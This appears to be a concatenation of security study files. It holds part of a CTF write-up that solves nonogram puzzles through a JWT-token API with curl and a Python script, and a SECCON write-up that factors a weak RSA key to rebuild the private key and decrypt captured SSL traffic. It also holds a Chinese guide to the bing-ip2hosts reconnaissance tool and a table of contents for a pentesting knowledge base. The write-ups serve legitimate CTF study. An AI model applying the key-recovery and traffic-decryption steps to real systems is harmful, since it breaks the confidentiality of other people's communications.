with patch("builtins.open", mock_open(read_data = puzzle_data)) as mock_file:
solver = nonogramsolver.NonogramSolver(mock_file)
solver.solve()
return solver
def print_solution(solution):
print("")
print(str(solution).replace("X", u"\u2588\u2588").replace(".", " "))
print("")
def main():
puzzles = get_puzzles()
print("Available puzzles:")
for puzzle in puzzles.values():
print(f'\t{puzzle["id"]}: {puzzle["name"]}')
puzzle_id = ""
while puzzle_id not in puzzles.keys():
puzzle_id = input("Please enter requested puzzle ID: ").strip()
print(f"Selected puzzle: {puzzles[puzzle_id]['name']}")
solution = solve(puzzles[puzzle_id])
print_solution(solution)
if __name__ == "__main__":
main()
```
The most intriguing puzzles are `QR` and `TopSecret`, let's solve them:
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# python3 solve.py
Available puzzles:
0: SpaceInvaders
1: X
2: 1337
3: TopSecret
4: StarOfDavid
5: QR
Please enter requested puzzle ID: 3
Selected puzzle: TopSecret
██████████████
████████████████████████
██████ ████ ████ ████████
████████ ████ ████ ████
████ ████ ████ ████ ████
██████ ████ ████ ████ ████
████████ ████ ████ ████ ████
████████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████
████ ████ ████ ████ ████ ████
████ ████ ████ ████ ████ ████
████████ ████ ████ ████ ████
██████ ████ ████ ████ ████
████ ████ ████ ████ ████
████ ████████ ████ ████ ████
██████████ ████ ████ ████
██████ ████ ████ ████
████ ██████ ████ ████
██████████████ ████ ████
████████ ██████ ████
████ ██████ ████
████ ████████ ██████
████████ ██████
██████████████████████████
██████████████████
root@kali:/media/sf_CTFs/shabak/Puzzle# python3 solve.py
Available puzzles:
0: SpaceInvaders
1: X
2: 1337
3: TopSecret
4: StarOfDavid
5: QR
Please enter requested puzzle ID: 5
Selected puzzle: QR
██████████████ ████ ██ ██████████████
██ ██ ██ ██ ██ ██
██ ██████ ██ ██ ██ ██ ██ ██████ ██
██ ██████ ██ ██ ████ ██ ██████ ██
██ ██████ ██ ██████ ██ ██████ ██
██ ██ ██ ██
██████████████ ██ ██ ██ ██████████████
████
████████ ██ ██ ██ ██ ██████ ██
██ ████ ██ ██ ██ ██ ██████
██ ██ ████ ██ ██ ██████████ ██████
████ ██████ ████ ██
████ ██ ████ ██ ████ ██ ██ ██ ██
██ ██ ██ ██ ██ ██
██████████████ ████ ██ ████
██ ██ ████████████ ██ ██
██ ██████ ██ ████ ██ ██ ██
██ ██████ ██ ██ ██ ██ ██
██ ██████ ██ ██ ██ ██████
██ ██ ██████████ ██ ████ ████
██████████████ ████ ████ ██ ██ ██
```
If you're wondering, the QR code maps to `1337`. So now what?
It's time to take another look at the additional APIs that the source code has revealed to us:
```csharp
public void TODO_GetToken(string username, string password, int puzzleID)
{
int num = (int) MessageBox.Show("Error - Not implemented yet", "/api/token");
}
public void TODO_PatchPuzzle(int puzzleID, string token)
{
int num = (int) MessageBox.Show("Error - Not implemented yet", string.Format("/api/puzzle/{0}", (object) puzzleID));
}
```
They aren't implemented, but we can try to access them ourselves. The parameters of the function are a hint towards the parameters that should be sent as part of the request.
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# curl http://puzzle.shieldchallenges.com/api/token
{"message": {"username": "Missing required parameter in the JSON body"}}
root@kali:/media/sf_CTFs/shabak/Puzzle# curl http://puzzle.shieldchallenges.com/api/token -H "Content-Type: application/json" --data '{"username":"Test_User","password":"SecretPassw0rd", "puzzle_id": 1}' --request GET
{"token": "eyJhbGciOiJIUzUxMiIsImlhdCI6MTYxMTA3Mzc2OSwiZXhwIjoxNjExMDczODI5fQ.eyJwdXp6bGVfaWQiOjEsInN0YXRlIjoiLi4uLi4uLi4uIiwiY3Vyc29yIjo2fQ.-GqiASSqrkChVjShGdjy8xsbEXNTMfSNrM-K7ItBOm5ASaVsinKfhDRMyMMLw-q8TPyQgzYFARWUt1dfu--5RA", "duration": 60}
```
We got what looks like a JSON Web Token (JWT). Let's decode it:
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# python3 ~/utils/jwt_tool/jwt_tool/jwt_tool.py eyJhbGciOiJIUzUxMiIsImlhdCI6MTYxMTA3Mzc2OSwiZXhwIjoxNjExMDczODI5fQ.eyJwdXp6bGVfaWQiOjEsInN0YXRlIjoiLi4uLi4uLi4uIiwiY3Vyc29yIjo2fQ.-GqiASSqrkChVjShGdjy8xsbEXNTMfSNrM-K7ItBOm5ASaVsinKfhDRMyMMLw-q8TPyQgzYFARWUt1dfu--5RA
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.0 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "HS512"
[+] iat = 1611073769
[+] exp = 1611073829
Token payload values:
[+] puzzle_id = 1
[+] state = "........."
[+] cursor = 6
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
```
So we have a cursor pointing at some location, and a `state` variable which interestingly contains the same amount of dots as the puzzle contains cells.
Let's move on the the next API:
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# curl http://puzzle.shieldchallenges.com/api/puzzle/1 -H "Content-Type: application/json" --request GET
{"message": "The method is not allowed for the requested URL."}
root@kali:/media/sf_CTFs/shabak/Puzzle# curl http://puzzle.shieldchallenges.com/api/puzzle/1 -H "Content-Type: application/json" --request POST
{"message": "The method is not allowed for the requested URL."}
root@kali:/media/sf_CTFs/shabak/Puzzle# curl http://puzzle.shieldchallenges.com/api/puzzle/1 -H "Content-Type: application/json" --request PATCH
{"message": "Invalid token"}
root@kali:/media/sf_CTFs/shabak/Puzzle# curl http://puzzle.shieldchallenges.com/api/puzzle/1 -H "Content-Type: application/json" --request PATCH --data '{"token":"eyJhbGciOiJIUzUxMiIsImlhdCI6MTYxMTA3Nzg2MSwiZXhwIjoxNjExMDc3OTIxfQ.eyJwdXp6bGVfaWQiOjEsInN0YXRlIjoiLi4uLi4uLi4uIiwiY3Vyc29yIjo0fQ.YWQBUJYL2pCFnh2ov2W6KJWw2NC1kstOKFKDD6groBFOpG6HN-uQi11d_zz21zxYTDLT0WymM2C642gLIy4lxQ"}'
{"message": "Invalid token"}
```
So, as hinted by the C# method name, this API supports only `PATCH` calls, but it still won't accept our token. That it, at least until we find the correct way to provide it:
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# curl --location --request PATCH 'http://puzzle.shieldchallenges.com/api/puzzle/1' --header 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsImlhdCI6MTYxMTA3ODEwOCwiZXhwIjoxNjExMDc4MTY4fQ.eyJwdXp6bGVfaWQiOjEsInN0YXRlIjoiLi4uLi4uLi4uIiwiY3Vyc29yIjozfQ.WPQGZWUo8Ohp6Tywh0Sy4PPl6sVnNqJHdiE8zVdNXEuO8BSq-Rbg7jiefnNvvBDogtran441shjkUTpghXWtIg'
{"message": {"instructions": "Missing required parameter 'instructions' in in the JSON body"}}
root@kali:/media/sf_CTFs/shabak/Puzzle# curl --location --request PATCH 'http://puzzle.shieldchallenges.com/api/puzzle/1' --header 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsImlhdCI6MTYxMTA3ODEwOCwiZXhwIjoxNjExMDc4MTY4fQ.eyJwdXp6bGVfaWQiOjEsInN0YXRlIjoiLi4uLi4uLi4uIiwiY3Vyc29yIjozfQ.WPQGZWUo8Ohp6Tywh0Sy4PPl6sVnNqJHdiE8zVdNXEuO8BSq-Rbg7jiefnNvvBDogtran441shjkUTpghXWtIg' --data-raw '{"instructions": "test"}' --header 'Content-Type: application/json'
{"message": "Invalid hex encoding"}
root@kali:/media/sf_CTFs/shabak/Puzzle# curl --location --request PATCH 'http://puzzle.shieldchallenges.com/api/puzzle/1' --header 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsImlhdCI6MTYxMTA3ODEwOCwiZXhwIjoxNjExMDc4MTY4fQ.eyJwdXp6bGVfaWQiOjEsInN0YXRlIjoiLi4uLi4uLi4uIiwiY3Vyc29yIjozfQ.WPQGZWUo8Ohp6Tywh0Sy4PPl6sVnNqJHdiE8zVdNXEuO8BSq-Rbg7jiefnNvvBDogtran441shjkUTpghXWtIg' --data-raw '{"instructions": "deadbeef"}' --header 'Content-Type: application/json'
{"message": "Instructions must be 3 bytes long"}
root@kali:/media/sf_CTFs/shabak/Puzzle# curl --location --request PATCH 'http://puzzle.shieldchallenges.com/api/puzzle/1' --header 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsImlhdCI6MTYxMTA3ODEwOCwiZXhwIjoxNjExMDc4MTY4fQ.eyJwdXp6bGVfaWQiOjEsInN0YXRlIjoiLi4uLi4uLi4uIiwiY3Vyc29yIjozfQ.WPQGZWUo8Ohp6Tywh0Sy4PPl6sVnNqJHdiE8zVdNXEuO8BSq-Rbg7jiefnNvvBDogtran441shjkUTpghXWtIg' --data-raw '{"instructions": "aabbcc"}' --header 'Content-Type: application/json'
{"token": "eyJhbGciOiJIUzUxMiIsImlhdCI6MTYxMTA3ODE1MywiZXhwIjoxNjExMDc4MTYzfQ.eyJwdXp6bGVfaWQiOjEsInN0YXRlIjoiLi4uWC4uLi4uIiwiY3Vyc29yIjozfQ.fLTwzBmFYlsRMxB2_OAhke5ZCVhU5y42tALKbU9I0s3K_OhvQ_rsS8W7ipEHwki2y1IqWrft7b4XvMueEBJFig"}
```
So we now know that the instructions should be provided as a 3-byte hex-encoded string. But what do they do? Notice that when we provided a correctly formatted instruction, we received a new token. Let's compare both tokens:
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# echo eyJwdXp6bGVfaWQiOjEsInN0YXRlIjoiLi4uLi4uLi4uIiwiY3Vyc29yIjozfQ | base64 -d
{"puzzle_id":1,"state":".........","cursor":3}
root@kali:/media/sf_CTFs/shabak/Puzzle# echo eyJwdXp6bGVfaWQiOjEsInN0YXRlIjoiLi4uWC4uLi4uIiwiY3Vyc29yIjozfQ | base64 -d
{"puzzle_id":1,"state":"...X.....","cursor":3}
```
We managed to draw an X somewhere. This must be the equivalent of coloring a Nonogram cell. With a good share of trial and error we can map the different instructions available:
| Instruction | Encoding |
| ----------- | -------- |
| Do nothing | 0b000 |
| Move right | 0b001 |
| Move up | 0b010 |
| Go to 0 | 0b011 |
| Move left | 0b100 |
| Move down | 0b101 |
| Set white | 0b110 |
| Set black | 0b111 |
But if there are only 8 3-bit instructions, why is there need for 3 whole bytes? Well, that must be the reason the field is called "instructions" and not "instruction" - instructions can be chained and up to 8 instructions can be sent at a time.
All that's left is to send the appropriate instructions to solve the puzzle:
```python
from enum import Enum
from pwn import *
# https://github.com/fmakdemir/nonogram-solver/blob/master/nonogramsolver.py
import nonogramsolver
import requests
import json
import io
from unittest.mock import patch, mock_open
BASE_URL = "http://puzzle.shieldchallenges.com"
def get_puzzles():
res = {}
r = requests.get(f"{BASE_URL}/api/puzzle")
puzzles = r.json()
for puzzle in puzzles["puzzles"]:
res[str(puzzle["id"])] = puzzle
return res
def translate_puzzle(service_format):
nonogram_solver_format = {
"r" : [[int(x) for x in row.strip(" ").split(" ")] for row in service_format["rows"].split(",")],
"c" : [[int(x) for x in column.strip(" ").split(" ")] for column in service_format["columns"].split(",")],
}
return nonogram_solver_format
def solve(puzzle):
with log.progress('Solving Nonogram...'):
puzzle_data = json.dumps(translate_puzzle(puzzle))
with patch("builtins.open", mock_open(read_data = puzzle_data)) as mock_file:
solver = nonogramsolver.NonogramSolver(mock_file)
solver.solve()
return solver
def print_solution(solution):
print("")
print(str(solution).replace("X", u"\u2588\u2588").replace(".", " "))
print("")
def get_token(puzzle_id):
r = requests.get(f'{BASE_URL}/api/token',
json = {"username": "Test_User",
"password": "SecretPassw0rd",
"puzzle_id": puzzle_id
})
resp_json = r.json()
return resp_json["token"]
def send_command(puzzle_id, token, command):
r = requests.patch(f'http://puzzle.shieldchallenges.com/api/puzzle/{puzzle_id}',
json = {"instructions": f"{command:06X}"},
headers = {
'Authorization': 'Bearer {}'.format(token),
'Content-Type': 'application/json'
})
return r.json()
class Instructions(Enum):
DO_NOTHING = 0b000
MOVE_RIGHT = 0b001
MOVE_UP = 0b010
GO_TO_ZERO = 0b011
MOVE_LEFT = 0b100
MOVE_DOWN = 0b101
SET_WHITE = 0b110
SET_BLACK = 0b111
COMMAND_BYTE_LENGTH = 3
BITS_PER_BYTE = 8
INSTRUCTION_BIT_LENGTH = 3
INSTRUCTIONS_PER_COMMAND = COMMAND_BYTE_LENGTH * BITS_PER_BYTE // INSTRUCTION_BIT_LENGTH
def main():
puzzles = get_puzzles()
print("Available puzzles:")
for puzzle in puzzles.values():
print(f'\t{puzzle["id"]}: {puzzle["name"]}')
puzzle_id = ""
while puzzle_id not in puzzles.keys():
puzzle_id = input("Please enter requested puzzle ID: ").strip()
print(f"Selected puzzle: {puzzles[puzzle_id]['name']}")
solution = solve(puzzles[puzzle_id])
print_solution(solution)
instructions = [Instructions.GO_TO_ZERO]
for row in range(len(solution.NONO)):
for col in range(len(solution.NONO[row])):
if solution.NONO[row][col] == 1:
instructions.append(Instructions.SET_BLACK)
instructions.append(Instructions.MOVE_RIGHT)
instructions.append(Instructions.MOVE_DOWN)
log.info(f"Number of instructions: {len(instructions)}")
token = get_token(puzzle_id)
with log.progress('Sending instructions...') as p:
while ( (len(instructions) > 0) and (token is not None) ):
command = 0
try:
for i in range(INSTRUCTIONS_PER_COMMAND):
instruction = instructions.pop(0)
command = command << INSTRUCTION_BIT_LENGTH
command |= instruction.value
except IndexError:
pass
p.status(f"Raw command: {command:06X}")
resp_json = send_command(puzzle_id, token, command)
token = resp_json.get("token", None)
log.success(f"Flag: {resp_json['flag']}")
if __name__ == "__main__":
main()
```
Output:
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# python3 solve.py
Available puzzles:
0: SpaceInvaders
1: X
2: 1337
3: TopSecret
4: StarOfDavid
5: QR
Please enter requested puzzle ID: 0
Selected puzzle: SpaceInvaders
[+] Solving Nonogram...: Done
██ ██
██ ██
██████████████
████ ██████ ████
██████████████████████
██ ██████████████ ██
██ ██ ██ ██
████ ████
[*] Number of instructions: 155
[+] Sending instructions...: Done
[+] Flag: Try_Harder
root@kali:/media/sf_CTFs/shabak/Puzzle# python3 solve.py
Available puzzles:
0: SpaceInvaders
1: X
2: 1337
3: TopSecret
4: StarOfDavid
5: QR
Please enter requested puzzle ID: 3
Selected puzzle: TopSecret
[+] Solving Nonogram...: Done
██████████████
████████████████████████
██████ ████ ████ ████████
████████ ████ ████ ████
████ ████ ████ ████ ████
██████ ████ ████ ████ ████
████████ ████ ████ ████ ████
████████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████
████ ████ ████ ████ ████ ████
████ ████ ████ ████ ████ ████
████████ ████ ████ ████ ████
██████ ████ ████ ████ ████
████ ████ ████ ████ ████
████ ████████ ████ ████ ████
██████████ ████ ████ ████
██████ ████ ████ ████
████ ██████ ████ ████
██████████████ ████ ████
████████ ██████ ████
████ ██████ ████
████ ████████ ██████
████████ ██████
██████████████████████████
██████████████████
[*] Number of instructions: 910
[+] Sending instructions...: Done
[+] Flag: FLAG{S01ving_Puzz13s_Is_Fun!}
```
|
sec-knowleage
|
# Very Smooth (Crypto, 300p)
In the task we get a [pcap](s.pcap) with RSA encrypted SSL traffic.
The task name suggests that maybe the RSA modulus or primes are a smooth number and modulus can be factored in some simple way.
First we open the pcap in Network Miner in order to recover the [server certificate](SRL.cer).
Next we use openssl to dump just the RSA key from the certificate `openssl x509 -inform der -pubkey -noout -in SRL.cer > public_key.pem` which gives us [public key](public_key.pem).
Now we can proceed with factoring the key.
It turns out the Williams P+1 method works because one of the primes is of form `11807485231629132025602991324007150366908229752508016230400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001` so `prime-1` is a smooth number.
Once we factored the modulus we can generate a fake server private key:
```python
from Crypto.PublicKey import RSA
from primefac import williams_pp1, modinv
def main():
pub = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDVRqqCXPYd6Xdl9GT7/kiJrYvy
8lohddAsi28qwMXCe2cDWuwZKzdB3R9NEnUxsHqwEuuGJBwJwIFJnmnvWurHjcYj
DUddp+4X8C9jtvCaLTgd+baSjo2eB0f+uiSL/9/4nN+vR3FliRm2mByeFCjppTQl
yioxCqbXYIMxGO4NcQIDAQAB
-----END PUBLIC KEY-----
"""
pub = RSA.importKey(pub)
print(pub.e, pub.n)
p = long(williams_pp1(pub.n))
q = pub.n / p
print(p,q)
assert pub.n == p * q
priv = RSA.construct((pub.n, pub.e, modinv(pub.e, (p - 1) * (q - 1))))
print(priv.exportKey('PEM'))
main()
```
We then use this key in Wireshark (Edit -> Preferences -> Protocols -> SSL -> RSA Key List) and it decrypts the SSL traffic for us.
We can see the webpage:
```html
<html>
<head><title>Very smooth</title></head>
<body>
<h1>
Answer: One of these primes is very smooth.
</h1>
</body>
</html>
```
And the flag is: `SECCON{One of these primes is very smooth.}`
|
sec-knowleage
|
---
title: bing-ip2hosts
categories: Information Gathering
tags: [enumeration,osint,information gathering,bing-ip2hosts,kali linux]
date: 2016-10-19 03:33:00
---
0x00 bing-ip2hosts介绍
-------------
Bing.com是微软拥有的以前称为MSN搜索和实时搜索的搜索引擎。它具有搜索在特定IP地址上的网站的独特功能。 Bing-ip2hosts使用此功能枚举Bing已为特定IP地址编入索引的所有主机名。这种技术被认为是在渗透测试的信息收集阶段的最佳方法,以便可以发现更大的潜在攻击面。 Bing-ip2hosts是用Linux上的Bash脚本语言编写的,因为使用移动接口的缘故,所以不需要API密钥。
工具来源:http://www.morningstarsecurity.com/research/bing-ip2hosts
[bing-ip2hosts主页][1] | [Kali bing-ip2hosts Repo仓库][2]
- 作者:Andrew Horton
- 证书:GPLv3
0x01 bing-ip2hosts功能
---------------
bing-ip2hosts - 使用bing.com枚举给定IP的主机名
```shell
root@kali:~# bing-ip2hosts -h
bing-ip2hosts (o.4) by Andrew Horton aka urbanadventurer
Homepage: http://www.morningstarsecurity.com/research/bing-ip2hosts
在渗透测试中的Web情报收集和攻击层面映射虚拟主机很有用
查找与目标共享IP地址的主机名,可以是主机名或IP地址
利用Microsoft Bing.com的能力通过IP地址搜索,例如:“IP:210.48.71.196”
用法: /usr/bin/bing-ip2hosts [选项] <IP地址|主机名>
选项:
-n 关闭进度指示动画
-t <DIR> 使用指定目录而不是/tmp目录,该目录必须存在
-i 可选CSV输出,在每行上输出IP和主机名,以逗号分隔
-p 可选http://前缀输出,方便在shell中右键单击打开
```
0x02 bing-ip2hosts用法示例
-----------------
```shell
root@kali:~# bing-ip2hosts -p -t /root/test microsoft.com
[ 65.55.58.201 | Scraping 1 | Found 0 | / ]
http://microsoft.com
http://research.microsoft.com
http://www.answers.microsoft.com
http://www.microsoft.com
http://www.msdn.microsoft.com
```
```shell
root@kali:~# bing-ip2hosts -p -t /root/test 173.194.33.80
[ 173.194.33.80 | Scraping 60-69 of 73 | Found 41 | | ]| / ]
http://asia.google.com
http://desktop.google.com
http://ejabat.google.com
http://google.netscape.com
http://partner-client.google.com
http://picasa.google.com
```
0x03 提示
-------
最新的Kali已经移除了bing-ip2hosts,如果要使用bing-ip2hosts可以使用以下命令获取并安装:
```shell
root@kali:~# wget https://raw.githubusercontent.com/Strubbl/dotfiles/master/bin/bing-ip2hosts
root@kali:~# chmod +x bing-ip2hosts
root@kali:~# mv bing-ip2hosts /usr/bin/
```
[1]: http://labs.portcullis.co.uk/application/acccheck
[2]: http://git.kali.org/gitweb/?p=packages/acccheck.git;a=summary
|
sec-knowleage
|
# Table of contents
* [序言](README.md)
* [引用](引用.md)
## devsecops
* [checkmarx](<devsecops/checkmarx/README.md>)
* [codeql](<devsecops/codeql/README.md>)
* [coverity](<devsecops/coverity/README.md>)
* [fortifiy](<devsecops/fortifiy/README.md>)
* [sca](<devsecops/sca/README.md>)
* [Dependency Check](<devsecops/sca/Dependency Check.md>)
* [Dependency Track](<devsecops/sca/Dependency Track.md>)
* [案例](<devsecops/案例/README.md>)
* [SCA在得物DevSecOps平台上应用](<devsecops/案例/SCA在得物DevSecOps平台上应用.md>)
* [漏洞修复](<devsecops/漏洞修复/README.md>)
* [Hello Java Sec](<devsecops/漏洞修复/Hello Java Sec.md>)
## 书籍
* [编译原理](<书籍/编译原理/README.md>)
* [第一章 引论](<书籍/编译原理/第一章 引论.md>)
## 代码审计
* [JAVA漏洞](<代码审计/JAVA漏洞/README.md>)
* [CRLF注入](<代码审计/JAVA漏洞/CRLF注入.md>)
* [Java RMI](<代码审计/JAVA漏洞/Java RMI.md>)
* [JSONP](<代码审计/JAVA漏洞/JSONP.md>)
* [JWT](<代码审计/JAVA漏洞/JWT.md>)
* [Log4j2](<代码审计/JAVA漏洞/Log4j2.md>)
* [SPEL](<代码审计/JAVA漏洞/SPEL.md>)
* [SQL注入](<代码审计/JAVA漏洞/SQL注入.md>)
* [SSRF](<代码审计/JAVA漏洞/SSRF.md>)
* [SSTI](<代码审计/JAVA漏洞/SSTI.md>)
* [XSS](<代码审计/JAVA漏洞/XSS.md>)
* [XStream](<代码审计/JAVA漏洞/XStream.md>)
* [XXE](<代码审计/JAVA漏洞/XXE.md>)
* [反序列化](<代码审计/JAVA漏洞/反序列化.md>)
* [命令执行](<代码审计/JAVA漏洞/命令执行.md>)
* [文件操作](<代码审计/JAVA漏洞/文件操作.md>)
* [准备](<代码审计/准备/README.md>)
* [远程调试](<代码审计/准备/远程调试.md>)
* [配置IDEA](<代码审计/准备/配置IDEA.md>)
## 安全测试
* [APP渗透](<安全测试/APP渗透/README.md>)
* [安卓5版本抓包](<安全测试/APP渗透/安卓5版本抓包.md>)
* [安卓7版本抓包](<安全测试/APP渗透/安卓7版本抓包.md>)
* [安卓9版本抓包](<安全测试/APP渗透/安卓9版本抓包.md>)
* [Linux提权](<安全测试/Linux提权/README.md>)
* [WEB应用](<安全测试/WEB应用/README.md>)
* [Windows提权](<安全测试/Windows提权/README.md>)
* [信息收集](<安全测试/信息收集/README.md>)
* [免杀技巧](<安全测试/免杀技巧/README.md>)
* [其他](<安全测试/其他/README.md>)
* [反弹shell总结](<安全测试/其他/反弹shell总结.md>)
* [前端绕过](<安全测试/前端绕过/README.md>)
* [后渗透](<安全测试/后渗透/README.md>)
* [容器渗透](<安全测试/容器渗透/README.md>)
* [攻击绕过](<安全测试/攻击绕过/README.md>)
* [木马病毒](<安全测试/木马病毒/README.md>)
* [横向移动](<安全测试/横向移动/README.md>)
* [AS-REP Roasting攻击](<安全测试/横向移动/AS-REP Roasting攻击.md>)
* [Kerberoasting 攻击](<安全测试/横向移动/Kerberoasting 攻击.md>)
* [缓冲区溢出](<安全测试/缓冲区溢出/README.md>)
## 安全漏洞
* [Linux提权漏洞](<安全漏洞/Linux提权漏洞/README.md>)
* [Linux漏洞](<安全漏洞/Linux漏洞/README.md>)
* [Windows提权漏洞](<安全漏洞/Windows提权漏洞/README.md>)
* [Windows漏洞](<安全漏洞/Windows漏洞/README.md>)
* [应用漏洞](<安全漏洞/应用漏洞/README.md>)
* [未授权漏洞](<安全漏洞/未授权漏洞/README.md>)
* [ActiveMQ未授权访问漏洞](<安全漏洞/未授权漏洞/ActiveMQ未授权访问漏洞.md>)
* [Apache Flink未授权访问漏洞](<安全漏洞/未授权漏洞/Apache Flink未授权访问漏洞.md>)
* [Atlassian Crowd 未授权访问漏洞](<安全漏洞/未授权漏洞/Atlassian Crowd 未授权访问漏洞.md>)
* [clickhouse 未授权访问漏洞](<安全漏洞/未授权漏洞/clickhouse 未授权访问漏洞.md>)
* [CouchDB未授权访问漏洞](<安全漏洞/未授权漏洞/CouchDB未授权访问漏洞.md>)
* [Docker未授权访问漏洞](<安全漏洞/未授权漏洞/Docker未授权访问漏洞.md>)
* [druid 监控页未授权访问漏洞](<安全漏洞/未授权漏洞/druid 监控页未授权访问漏洞.md>)
* [Dubbo 未授权访问漏洞](<安全漏洞/未授权漏洞/Dubbo 未授权访问漏洞.md>)
* [Hadoop YARN resourcemanager 未授权访问漏洞](<安全漏洞/未授权漏洞/Hadoop YARN resourcemanager 未授权访问漏洞.md>)
* [Hadoop Yarn RPC未授权访问漏洞](<安全漏洞/未授权漏洞/Hadoop Yarn RPC未授权访问漏洞.md>)
* [InfluxDB API 未授权访问漏洞](<安全漏洞/未授权漏洞/InfluxDB API 未授权访问漏洞.md>)
* [JBoss未授权访问漏洞](<安全漏洞/未授权漏洞/JBoss未授权访问漏洞.md>)
* [Jenkins未授权访问漏洞](<安全漏洞/未授权漏洞/Jenkins未授权访问漏洞.md>)
* [Jupyter Notebook 未授权访问漏洞](<安全漏洞/未授权漏洞/Jupyter Notebook 未授权访问漏洞.md>)
* [Kafka Manager 未授权访问漏洞](<安全漏洞/未授权漏洞/Kafka Manager 未授权访问漏洞.md>)
* [Kibana 未授权访问漏洞](<安全漏洞/未授权漏洞/Kibana 未授权访问漏洞.md>)
* [Kong未授权访问漏洞](<安全漏洞/未授权漏洞/Kong未授权访问漏洞.md>)
* [Kubernetes Api Server 未授权访问](<安全漏洞/未授权漏洞/Kubernetes Api Server 未授权访问.md>)
* [LDAP未授权访问漏洞](<安全漏洞/未授权漏洞/LDAP未授权访问漏洞.md>)
* [Memcached未授权访问漏洞](<安全漏洞/未授权漏洞/Memcached未授权访问漏洞.md>)
* [MongoDB未授权访问漏洞](<安全漏洞/未授权漏洞/MongoDB未授权访问漏洞.md>)
* [NFS未授权访问漏洞](<安全漏洞/未授权漏洞/NFS未授权访问漏洞.md>)
* [RabbitMQ 未授权访问漏洞](<安全漏洞/未授权漏洞/RabbitMQ 未授权访问漏洞.md>)
* [Redis未授权访问漏洞](<安全漏洞/未授权漏洞/Redis未授权访问漏洞.md>)
* [Rsync未授权访问漏洞](<安全漏洞/未授权漏洞/Rsync未授权访问漏洞.md>)
* [Spark 未授权访问漏洞](<安全漏洞/未授权漏洞/Spark 未授权访问漏洞.md>)
* [Spring Cloud Gateway Server 未授权访问漏洞](<安全漏洞/未授权漏洞/Spring Cloud Gateway Server 未授权访问漏洞.md>)
* [SpringBoot Actuator未授权访问漏洞](<安全漏洞/未授权漏洞/SpringBoot Actuator未授权访问漏洞.md>)
* [VNC Server 未授权访问漏洞](<安全漏洞/未授权漏洞/VNC Server 未授权访问漏洞.md>)
* [Weblogic 未授权访问漏洞](<安全漏洞/未授权漏洞/Weblogic 未授权访问漏洞.md>)
* [Zabbix未授权访问漏洞](<安全漏洞/未授权漏洞/Zabbix未授权访问漏洞.md>)
* [ZooKeeper未授权访问漏洞](<安全漏洞/未授权漏洞/ZooKeeper未授权访问漏洞.md>)
## 安全证书
* [CISSP](<安全证书/CISSP/README.md>)
* [CRTO](<安全证书/CRTO/README.md>)
* [考证经验分享](<安全证书/CRTO/考证经验分享.md>)
* [OSCP](<安全证书/OSCP/README.md>)
* [考证经验分享](<安全证书/OSCP/考证经验分享.md>)
## 社会工程学
* [网络钓鱼](<社会工程学/网络钓鱼/README.md>)
## 运维配置
* [Kubernetes](<运维配置/Kubernetes/README.md>)
* [安装部署](<运维配置/Kubernetes/安装部署.md>)
## 靶场环境
* [attackdefense](<靶场环境/attackdefense/README.md>)
* [HTB](<靶场环境/HTB/README.md>)
* [tryhackme](<靶场环境/tryhackme/README.md>)
* [vulnhub](<靶场环境/vulnhub/README.md>)
* [](<靶场环境/vulnhub/.md>)
* [ACID RELOADED](<靶场环境/vulnhub/ACID RELOADED.md>)
* [ACID SERVER](<靶场环境/vulnhub/ACID SERVER.md>)
* [Assertion101](<靶场环境/vulnhub/Assertion101.md>)
* [BBSCute 1.0.2](<靶场环境/vulnhub/BBSCute 1.0.2.md>)
* [BILLY MADISON 1.1](<靶场环境/vulnhub/BILLY MADISON 1.1.md>)
* [Bob 1.0.1](<靶场环境/vulnhub/Bob 1.0.1.md>)
* [Born2Root 2](<靶场环境/vulnhub/Born2Root 2.md>)
* [Born2Root:1](<靶场环境/vulnhub/Born2Root:1.md>)
* [BossPlayersCTF](<靶场环境/vulnhub/BossPlayersCTF.md>)
* [Bottleneck](<靶场环境/vulnhub/Bottleneck.md>)
* [Brainpan 1](<靶场环境/vulnhub/Brainpan 1.md>)
* [Breach 1](<靶场环境/vulnhub/Breach 1.md>)
* [Breach 2.1](<靶场环境/vulnhub/Breach 2.1.md>)
* [Breach 3.0.1](<靶场环境/vulnhub/Breach 3.0.1.md>)
* [BSides Vancouver 2018](<靶场环境/vulnhub/BSides Vancouver 2018.md>)
* [BTRSys2.1](<靶场环境/vulnhub/BTRSys2.1.md>)
* [Covfefe](<靶场环境/vulnhub/Covfefe.md>)
* [CYBERSPLOIT 1](<靶场环境/vulnhub/CYBERSPLOIT 1.md>)
* [Darknet:1.0](<靶场环境/vulnhub/Darknet:1.0.md>)
* [Dawn](<靶场环境/vulnhub/Dawn.md>)
* [Dawn2](<靶场环境/vulnhub/Dawn2.md>)
* [Dawn3](<靶场环境/vulnhub/Dawn3.md>)
* [DC 1](<靶场环境/vulnhub/DC 1.md>)
* [DC 2](<靶场环境/vulnhub/DC 2.md>)
* [DC 3.2](<靶场环境/vulnhub/DC 3.2.md>)
* [DC 4](<靶场环境/vulnhub/DC 4.md>)
* [DC 6](<靶场环境/vulnhub/DC 6.md>)
* [DC 8](<靶场环境/vulnhub/DC 8.md>)
* [DC 5](<靶场环境/vulnhub/DC 5.md>)
* [DC 7](<靶场环境/vulnhub/DC 7.md>)
* [DC 9](<靶场环境/vulnhub/DC 9.md>)
* [Deception](<靶场环境/vulnhub/Deception.md>)
* [DEFCON Toronto Galahad](<靶场环境/vulnhub/DEFCON Toronto Galahad.md>)
